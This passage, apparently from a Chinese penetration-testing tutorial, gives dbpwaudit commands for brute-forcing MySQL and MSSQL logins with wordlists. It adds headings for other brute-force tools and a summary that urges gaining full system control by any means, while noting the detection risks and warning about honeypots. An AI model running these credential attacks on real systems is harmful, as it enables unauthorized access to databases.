爆破mysql [暂只支持mysql 5.1以下]:

1
# dbpwaudit -s 192.168.3.23 -p 3306 -D Mysql -d mysql -U user.txt -P weak.txt

爆破mssql [暂只支持mssql 2005以下]

1
# dbpwaudit -s 192.168.3.23 -p 1433 -D Mssql -d master -U user.txt -P weak.txt

0x14 利用 burpsuite 爆破各类登陆表单

powershell brute force

0x15 基于perl的各种爆破小脚本,非常适合linux平台,抽空会补充上来:

一点小结:
    不得不说,这类的爆破攻击,势必要在目标的系统里面留下大量的登陆日志,而且得别人让你爆才行,实际测试可知,先不说专业的ids,如果目标部署了mcafee企业套装,只要勾选了”爆破攻击”规则,这些工具基本就废了一大半,但,不一定就不好用,在你山穷水尽,走投无路之时,任何手段都是可以被尝试的,另外,个人还是更推荐用一些单文件[对于一款渗透工具来讲,其依赖自然是越少越好,体积越小越好,对系统影响越轻越好,也许你会发现,各种py工具表面貌似很强大,但仔细深究,基本全都是在用别人的库不停的重复造轮子……嘿嘿,不说了,怕挨打]的小脚本[上面这些工具需要安装的东西确实有点儿多],如果有,拿来改吧改吧用即可,实在没有,想办法自己写也行,尽管这种招数确实很低级,但你可以把它做的不低级 [比如,你可以把大量的功夫下在字典上],而且很高效,成败归根结底在人,如果你手里实在没有像样的0day,那就别硬装那个逼,虚心慢慢搞就是了,反正我们的最终目标是拿到目标系统的最高权限,至于中间用什么手段没人会在意,说的天花乱坠,但最终还是没有搞进去,等于说了一堆废话,务必时刻清楚,我们不是在做学术讨论,任何攻击研究,如果没法很好的用于实战,都是空架子,但当你真正搞进去了,哪怕你是用自己猜密码绝技进去的,你一样可以把它说的非常高深,这就是现实,没办法,有时候百分之九十九等于0,有时候百分之一等于100,在你没搞到完整权限之前,多做少说,方成大器,最后关于如何做字典的注意事项[程序算法始终有限],会在后续的相关文章中,仔细说明,比较多,话说回来,可能百分之九十九的人,都会觉得爆破是很low的,嘿嘿……其实,我想说,如果你前期的信息搜集非常到位,爆破往往是最快,最直接,也是最致命的,顺便提醒大家一下,小心蜜罐